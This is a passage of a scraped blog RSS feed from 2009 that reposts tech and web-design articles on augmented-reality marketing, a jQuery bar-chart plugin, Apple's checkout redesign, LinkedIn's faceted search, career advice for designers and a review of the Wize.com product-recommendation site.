<p>Created for the launch of Wrigley&#8217;s &#8220;5&#8243; chewing gum in France (although the site is also available in English) this interactive example of AR sees five symbols (each representing one of the five gum flavors) becoming a different track that only plays when the webcam can &#8220;see&#8221; it.  The desktop DJ experience is probably best explained by watching the demo video above, populated appropriately by masticating teens. </p>
<hr />
<h2><a href="http://www.ray-ban.com/usa/neverhide/events/virtualmirror" target="_blank">8. Ray-Ban</a></p>
<hr /></h2>
</p>
<p>Although many items of apparel can be bought online, sunglasses are one of those tricky products that you really need to try on to ensure you look more chic than geek. Ray-Ban&#8217;s Virtual Mirror (ably demonstrated here by YouTuber NickHearne) lets you virtually try on glasses (after a quick bit of face-mapping).  The software lets you move your head around to see how the shades look from different angles.  Depending on the opacity of the glass, you can even see your eyes through some of the shades. Seeing this app in action makes us think this could be where the real commercial future of AR lies.</p>
<hr />
<h2><a href="http://lostvalentinos.com/" target="_blank">9. Lost Valentinos</a></p>
<hr /></h2>
</p>
<p>John Mayer, Eminem and Julian Perretta are three other musicians that have dabbled with AR as a way of making their music videos more compelling, but this effort from the Lost Valentinos &#8212; with each printable code representing a member of the band to be arranged as you see fit &#8212; is a great example of how to keep it tight. In addition, the band&#8217;s site doubles as a video gallery for fans to share how they interacted with the AR by uploaded webcam video clips. </p>
<hr />
<h2><a href="http://always.com/infinity/always_infinity.jsp#/experience-the-magic" target="_blank">10. Always Infinity</a></p>
<hr /></h2>
</p>
<p>This time round we&#8217;ve saved the worst for last. How best to promote feminine hygiene products? With an augmented reality white bunny of course. We think the world can do without this irrelevant foray into the AR arena that assumes a female audience will be blown away by an incredibly basic application of the tech. </p>
<hr />Reviews: <a href="http://www.blippr.com/apps/337019-Blu" target="_blank">Blu</a></p>
<p>Tags: <a href="http://mashable.com/tag/augmented-reality/">Augmented Reality</a>, <a href="http://mashable.com/tag/awesome/">awesome</a>, <a href="http://mashable.com/tag/business/">business</a>, <a href="http://mashable.com/tag/marketing/">MARKETING</a></p>
<p><a href="http://feedads.g.doubleclick.net/~at/ujzRca856hszGq4F9-BfZC0fn9k/0/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e136c_di" border="0"></img></a><br />
<a href="http://feedads.g.doubleclick.net/~at/ujzRca856hszGq4F9-BfZC0fn9k/1/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e136c_di" border="0"></img></a></p>
<div>
<a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:D7DqB2pKExk"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e136c_Mashable?i=tIhUlSL3Slg:zD4dmGpq8YI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e136c_Mashable?i=tIhUlSL3Slg:zD4dmGpq8YI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/bb608_Mashable?i=tIhUlSL3Slg:zD4dmGpq8YI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:qj6IDK7rITs"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/bb608_Mashable?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:_e0tkf89iUM"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/bb608_Mashable?d=_e0tkf89iUM" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/bb608_Mashable?i=tIhUlSL3Slg:zD4dmGpq8YI:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/bb608_Mashable?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:P0ZAIrC63Ok"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/bb608_Mashable?d=P0ZAIrC63Ok" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:I9og5sOYxJI"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/bb608_Mashable?d=I9og5sOYxJI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:CC-BsrAYo0A"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b2065_Mashable?d=CC-BsrAYo0A" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=tIhUlSL3Slg:zD4dmGpq8YI:_cyp7NeR2Rw"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b2065_Mashable?i=tIhUlSL3Slg:zD4dmGpq8YI:_cyp7NeR2Rw" border="0"></img></a>
</div>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b2065_tIhUlSL3Slg" height="1" width="1" /><br />
<a href="http://feeds2.feedburner.com/Mashable">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/10-awesome-uses-of-augmented-reality-marketing/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Creating Bar Charts With jQuery: TufteGraph</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/creating-bar-charts-with-jquery-tuftegraph/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/creating-bar-charts-with-jquery-tuftegraph/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 14:50:05 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[cheap ssl certificates]]></category>
		<category><![CDATA[dynamic drag]]></category>
		<category><![CDATA[dynamic functions]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[js library]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[smart interface]]></category>
		<category><![CDATA[TufteGraph]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/creating-bar-charts-with-jquery-tuftegraph/</guid>
		<description><![CDATA[TufteGraph is a jQuery plugin that can create standard &#38; stacked bar charts inside any given element. It it configured mostly by dynamic functions which simplifies the usage by allowing for a really compact API. A standard chart comes with no style but it can be totally customized with CSS (download package includes an example). [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://xaviershay.github.com/tufte-graph/" target="_blank"><strong>TufteGraph</strong></a> is a <strong>jQuery plugin</strong> that can create <strong>standard &amp; stacked bar charts</strong> inside any given element.</p>
<p>It it configured mostly by dynamic functions which simplifies the usage by allowing for a really compact API.</p>
<p><a href="http://xaviershay.github.com/tufte-graph/" target="_blank"><img alt="jQuery Bar Charts" height="198" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/c8b7f_jquery-bar-charts.gif" width="480" /></a></p>
<p>A standard chart comes with no style but it <strong>can be totally customized with CSS</strong> (download package includes an example).</p>
<p><strong>Important Info:</strong> The charts created work in major browsers. Although the example in the plugin&#39;s website doesn&#39;t seem to work in IE, the raphael.js file used can be replaced by the latest version of <a href="http://raphaeljs.com/" target="_blank">Rapha&euml;l JS library</a> which will fix the problem.</p>
<p><strong>Special Downloads:</strong><br />
<a href="http://www.webresourcesdepot.com/?download=jBasket" target="_blank">Ajaxed Add-To-Basket Scenarios With jQuery And PHP</a><br />
<a href="http://www.webresourcesdepot.com/?download=Free-Admin-Template" target="_blank">Free Admin Template For Web Applications</a><br />
<a href="http://www.webresourcesdepot.com/?download=jQuery-Dynamic-Drag-Drop" target="_blank">jQuery Dynamic Drag&#8217;n Drop</a><br />
<a href="http://www.webresourcesdepot.com/?download=sTwitter-1-0" target="_blank">ScheduledTweets</a></p>
<p><strong>Advertisements:</strong><br />
<a href="http://www.sslmatic.com" target="_blank">SSLmatic &#8211; Cheap SSL Certificates (from $19.99/year)</a><br />
<a href="http://twitter.com/umutm" target="_blank">Follow WebResourcesDepot At Twitter And Get More Resources!</a></p>
<p>	Tags: <a href="http://www.webresourcesdepot.com/tag/javascript/" title="Javascript" rel="tag">Javascript</a></p>
<h4>Related posts</h4>
<ul>
<li><a href="http://www.webresourcesdepot.com/zoom-script-with-a-smart-interface-tjpzoom/" title="Zoom Script With A Smart Interface: TJPzoom (September 4, 2008)">Zoom Script With A Smart Interface: TJPzoom</a></li>
<li><a href="http://www.webresourcesdepot.com/yui-slideshow-customizable-and-animated-slideshows/" title="YUI Slideshow: Customizable And Animated Slideshows (August 12, 2009)">YUI Slideshow: Customizable And Animated Slideshows</a></li>
<li><a href="http://www.webresourcesdepot.com/wrap-content-around-images-jqslickwrap/" title="Wrap Content Around Images: jQSlickWrap (November 22, 2009)">Wrap Content Around Images: jQSlickWrap</a></li>
<li><a href="http://www.webresourcesdepot.com/what-you-see-is-what-you-ajax-wavemaker/" title="What You See Is What You Ajax: WaveMaker (March 5, 2008)">What You See Is What You Ajax: WaveMaker</a></li>
<li><a href="http://www.webresourcesdepot.com/wforms-easy-javascript-form-controls/" title="wForms: Easy JavaScript Form Controls (April 25, 2008)">wForms: Easy JavaScript Form Controls</a></li>
</ul>
<div>
<a href="http://feeds.feedburner.com/~ff/webresourcesdepot?a=vxn0_UAVyHI:mYQvirCt-Go:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/c8b7f_webresourcesdepot?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/webresourcesdepot?a=vxn0_UAVyHI:mYQvirCt-Go:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/82df9_webresourcesdepot?i=vxn0_UAVyHI:mYQvirCt-Go:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/webresourcesdepot?a=vxn0_UAVyHI:mYQvirCt-Go:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/82df9_webresourcesdepot?i=vxn0_UAVyHI:mYQvirCt-Go:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/webresourcesdepot?a=vxn0_UAVyHI:mYQvirCt-Go:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/82df9_webresourcesdepot?i=vxn0_UAVyHI:mYQvirCt-Go:gIN9vFwOqvQ" border="0"></img></a>
</div>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/82df9_vxn0_UAVyHI" height="1" width="1" /><br />
<a href="http://feeds2.feedburner.com/webresourcesdepot">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/creating-bar-charts-with-jquery-tuftegraph/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Apple Store&#8217;s Checkout Form Redesign</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/the-apple-stores-checkout-form-redesign/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/the-apple-stores-checkout-form-redesign/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 00:40:06 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[Apple Store]]></category>
		<category><![CDATA[checkout system]]></category>
		<category><![CDATA[commerce applications]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[Luke]]></category>
		<category><![CDATA[someone]]></category>
		<category><![CDATA[ux]]></category>
		<category><![CDATA[Wroblewski]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/the-apple-stores-checkout-form-redesign/</guid>
		<description><![CDATA[If you&#8217;re interested in UX for e-commerce applications, or if you&#8217;re someone who likes to follow Apple&#8216;s leading example, make sure to check out Luke&#160;Wroblewski&#8216;s&#160;interesting and extremely thorough analysis of the Apple Store&#8217;s new checkout system. Go to Source]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;re interested in UX for <a href="http://uxmag.com/archive/e-commerce" target="_blank">e-commerce</a> applications, or if you&#8217;re someone who likes to follow <a href="http://uxmag.com/archive/apple" target="_blank">Apple</a>&#8216;s leading example, make sure to check out <a href="http://uxm.ag/1n" target="_blank">Luke&nbsp;Wroblewski</a>&#8216;s&nbsp;interesting and extremely thorough <a href="http://uxm.ag/1m" target="_blank">analysis of the Apple Store&#8217;s new checkout system</a>.</p>
<div>
<a href="http://feeds.feedburner.com/~ff/UXM?a=7cTBd0To51A:J4dqKnEWyfw:7Q72WNTAKBA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d72d7_UXM?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/UXM?a=7cTBd0To51A:J4dqKnEWyfw:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d72d7_UXM?i=7cTBd0To51A:J4dqKnEWyfw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/UXM?a=7cTBd0To51A:J4dqKnEWyfw:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d72d7_UXM?d=yIl2AUoC8zA" border="0"></img></a>
</div>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d72d7_7cTBd0To51A" height="1" width="1" /><br />
<a href="http://feeds2.feedburner.com/UXM/">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/the-apple-stores-checkout-form-redesign/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook Could Learn a Thing or Two From LinkedIn’s Faceted Search</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/facebook-could-learn-a-thing-or-two-from-linkedin%e2%80%99s-faceted-search/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/facebook-could-learn-a-thing-or-two-from-linkedin%e2%80%99s-faceted-search/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 11:40:09 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[Canada]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[location]]></category>
		<category><![CDATA[precise queries]]></category>
		<category><![CDATA[school workplace]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[UK]]></category>
		<category><![CDATA[video overview]]></category>
		<category><![CDATA[Zagreb]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/facebook-could-learn-a-thing-or-two-from-linkedin%e2%80%99s-faceted-search/</guid>
		<description><![CDATA[Business-oriented social network LinkedIn has a new feature out called faceted search. As you search for something or someone, it automatically generates search filters, based on your query results, which let you quickly refine your search. The filters are based on 8 facets: current company, past company, location, relationship, location, industry, school, and profile languages. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://api.tweetmeme.com/share?url=http://mashable.com/2009/12/15/linkedin-faceted-search/&amp;service=bit.ly"><img width="51" height="61" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/13f26_linkedin-faceted-search" align="right" /></a>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e9d0a_linkedin.jpg" align="right">Business-oriented social network <a href="http://linkedin.com" target="_blank">LinkedIn</a> has a new feature out called <a href="http://blog.linkedin.com/2009/12/14/linkedin-faceted-search/" target="_blank">faceted search</a>. As you search for something or someone, it automatically generates search filters, based on your query results, which let you quickly refine your search. </p>
<p>The filters are based on 8 facets: current company, past company, location, relationship, location, industry, school, and profile languages.</p>
<p>In practice, this means you can create amazingly precise queries. For example, I&#8217;ve searched for web designers in the UK, who speak English, who used to work at Yahoo, and who are my first and second connections (meaning, I&#8217;m either friends with them directly, or they&#8217;re friends of friends). The search results adapt instantly as you apply the filters, making the entire process quick and effortless. </p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/60307_linkedin_search.png" alt="linkedin_search" width="640" height="560" class="aligncenter size-full wp-image-168916" /></p>
<p>While this is great for LinkedIn, it also reminds me of how plain and unusable Facebook&#8217;s search is in comparison. LinkedIn has a solid number of advanced options for its search to begin with; with the new faceted search, it really leaves Facebook&#8217;s search in the dust. Wouldn&#8217;t it be nice if you could, for example, search Facebook only for friends of friends, living only in Canada? For now, it&#8217;s wishful thinking (Facebook does let you filter people search results by school, workplace and location, but the location filter leaves something to be desired; for example, neither &#8220;Canada&#8221; nor &#8220;Zagreb&#8221; are viable options.) </p>
<p>Check out a video overview of LinkedIn&#8217;s faceted search in the video below. </p>
</p>
<hr />Reviews: <a href="http://api.blippr.com/apps/336650-Facebook" target="_blank">Facebook</a>, <a href="http://api.blippr.com/apps/337623-LinkedIn" target="_blank">LinkedIn</a></p>
<p>Tags: <a href="http://mashable.com/tag/facebook/">facebook</a>, <a href="http://mashable.com/tag/linkedin/">linkedin</a>, <a href="http://mashable.com/tag/search/">Search</a></p>
<p><a href="http://feedads.g.doubleclick.net/~at/xEE5Bomt8ImytaGQLVCl2LAKehQ/0/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/60307_di" border="0"></img></a><br />
<a href="http://feedads.g.doubleclick.net/~at/xEE5Bomt8ImytaGQLVCl2LAKehQ/1/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/60307_di" border="0"></img></a></p>
<div>
<a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:D7DqB2pKExk"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/60307_Mashable?i=kpe3WWx2Rw4:drVEWKoSPPI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/60307_Mashable?i=kpe3WWx2Rw4:drVEWKoSPPI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/15cb6_Mashable?i=kpe3WWx2Rw4:drVEWKoSPPI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:qj6IDK7rITs"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/15cb6_Mashable?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:_e0tkf89iUM"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/15cb6_Mashable?d=_e0tkf89iUM" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/15cb6_Mashable?i=kpe3WWx2Rw4:drVEWKoSPPI:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/15cb6_Mashable?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:P0ZAIrC63Ok"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/15cb6_Mashable?d=P0ZAIrC63Ok" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:I9og5sOYxJI"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/15cb6_Mashable?d=I9og5sOYxJI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:CC-BsrAYo0A"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/02f64_Mashable?d=CC-BsrAYo0A" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=kpe3WWx2Rw4:drVEWKoSPPI:_cyp7NeR2Rw"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/02f64_Mashable?i=kpe3WWx2Rw4:drVEWKoSPPI:_cyp7NeR2Rw" border="0"></img></a>
</div>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/02f64_kpe3WWx2Rw4" height="1" width="1" /><br />
<a href="http://feeds2.feedburner.com/Mashable">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/facebook-could-learn-a-thing-or-two-from-linkedin%e2%80%99s-faceted-search/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Smart Web Designers Play to their Strengths</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/smart-web-designers-play-to-their-strengths/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/smart-web-designers-play-to-their-strengths/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 17:55:03 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[artistic designers]]></category>
		<category><![CDATA[coach]]></category>
		<category><![CDATA[css code]]></category>
		<category><![CDATA[design programming]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[killersites]]></category>
		<category><![CDATA[Stefan Mischook]]></category>
		<category><![CDATA[suck]]></category>
		<category><![CDATA[time]]></category>
		<category><![CDATA[writing html]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/smart-web-designers-play-to-their-strengths/</guid>
		<description><![CDATA[One of the biggest mistakes people make, is trying to develop skills in areas that they suck in. For example, you maybe good at writing HTML and CSS code but in the end, your pages don&#8217;t look all that great. &#8230; Let&#8217;s face it, some people just don&#8217;t have that artistic/designers eye. Play to your [...]]]></description>
			<content:encoded><![CDATA[<p>One of the biggest mistakes people make, is trying to develop skills in areas that they suck in. For example, you maybe good at writing HTML and CSS code but in the end, your pages don&#8217;t look all that great. </p>
<p>&#8230; Let&#8217;s face it, some people just don&#8217;t have that artistic/designers eye. </p>
<p><strong>Play to your Strengths</strong></p>
<p>A long time ago, in a sport far, far away &#8230; I once had a coach who one day pulled me aside and said: </p>
<blockquote><p>&#8220;Stef, you&#8217;re good at playing to the outside and you can move, but your inside game is really pathetic. So, stop trying to play inside and concentrate on what you&#8217;re good at!&#8221;</p>
</blockquote>
<p>My coach&#8217;s advice is to be headed by all and applies to all professions &#8230; web design/programming is no exception.</p>
<p>The key to success is to figure out <em>WHAT YOU&#8217;RE GOOD AT</em> and then develop those skills to the point where you&#8217;re so good, that a shine will begin to radiate off you, and in time, your brilliance will cause people to have to look away &#8230; and (more importantly) pay you more money for your work!!</p>
<p> <img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/bd425_icon_wink.gif" alt=";)" class="wp-smiley" /> </p>
<p>Stefan Mischook<br />
www.killersites.com</p>
<p><a href="http://www.killersites.com/magazine/feed/">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/smart-web-designers-play-to-their-strengths/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Wize</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/wize/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/wize/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 13:45:03 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[best digital camera]]></category>
		<category><![CDATA[com]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[President Tom Patterson]]></category>
		<category><![CDATA[recommended digital cameras]]></category>
		<category><![CDATA[San]]></category>
		<category><![CDATA[san mateo ca]]></category>
		<category><![CDATA[site]]></category>
		<category><![CDATA[tv buyers guide]]></category>
		<category><![CDATA[what is the best digital camera]]></category>
		<category><![CDATA[Wize]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/wize/</guid>
		<description><![CDATA[What can you use the application for? Wize.com is a consumer product recommendation site. The site uses proprietary technology to analyze millions of reviews on thousands of products from around the web. The results are returned in an easy to view format, reporting which products are best (Wize Choice) as well as which products are [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://feedads.g.doubleclick.net/~a/MWYddw_u5rkfHERyDOtvAw_a72Q/0/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/84296_di" border="0"></img></a><br />
<a href="http://feedads.g.doubleclick.net/~a/MWYddw_u5rkfHERyDOtvAw_a72Q/1/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/84296_di" border="0"></img></a></p>
<p>        <img alt="Logo" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/fa6db_logo.png" />
<p>
  <b><br />
    What can you use the application for?<br />
  </b><br />
  <br />
  Wize.com is a consumer product recommendation site.  The site uses proprietary technology to analyze millions of reviews on thousands of products from around the web.  The results are returned in an easy to view format, reporting which products are best (Wize Choice) as well as which products are the worst (UnWize Choice).  Users can browse the site based on popular tags – for example choosing the best digital camera for beginners – first the user chooses digital cameras, then from the resulting list of tags chooses beginners.  This returns a list of the most recommended digital cameras for beginners based on reviews read by the site. </p>
<p>Users can also do natural language keyword searches of the site – for example, What is the best digital camera for beginners? Will produce results similar to browsing tags as in the example above.  The site has categories for Electronics, Home and Garden, Health and Beauty, Computers and Office, Video Games. Tools and Hardware and Jewelry and Watches.  The site also provides buying guides in a number of categories, for example LCD TV Buyers Guide and Dishwasher Buyers Guide.
</p>
<p>
  <b><br />
    What is the history and popularity of the application?<br />
  </b><br />
  <br />
  San Mateo, CA-based Wize.com was founded in August 2006 and has undergone continuous growth since launch.  The company is currently headed by CEO and President Tom Patterson.
</p>
<p>
  <b><br />
    What are the differences to other applications?<br />
  </b><br />
  <br />
  Competition to Wize.com comes from sites such as PriceGrabber Shopping.com and NexTag.  These sites offer product comparisons based on features specified by the user.  These sites primarily concentrate on finding products at the best price, not necessarily the best rated, while Wize.com concentrates on the ratings given in reviews.  Additional competition comes from review sites such as Consumer Research and Epinions.com.  These sites feature site and user contributed reviews of products.
</p>
<p>
  <b><br />
    How does the application look and feel to use?<br />
  </b><br />
  <br />
  The Wize.com site has a relatively clean look, but is somewhat cluttered with content and links.  Navigation is intuitive, with a tag cloud at the top of the site for browsing as well as a search bar for keyword searches.  The categories are also arranged on a convenient top menu bar.  The site is quite responsive, and returns search results in a matter of a few seconds.  There is advertising displayed on the site, which is somewhat obtrusive.
</p>
<p>
  <b><br />
    How does the registration process work?<br />
  </b><br />
  <br />
  There is no registration offered to the Wize.com site.  All features of the site are available to users without registration.
</p>
<p>
  <b><br />
    What does it cost to use the application?<br />
  </b><br />
  <br />
  Wize is free to use, there is no premium membership offered to the site.
</p>
<p>
  <b><br />
    Who would you recommend the application to?<br />
  </b><br />
  <br />
  Wize.com is recommended to anyone who is trying to decide what product to buy.  The search algorithms used by the site seem to work quite well in turning up the best rated products as well as the worst.  Users can also specify price as one of the filters to search on, so users should be able to quickly find the highest rated products in their budget range.  The site is very easy to use, and browsing and searching is very responsive.
</p>
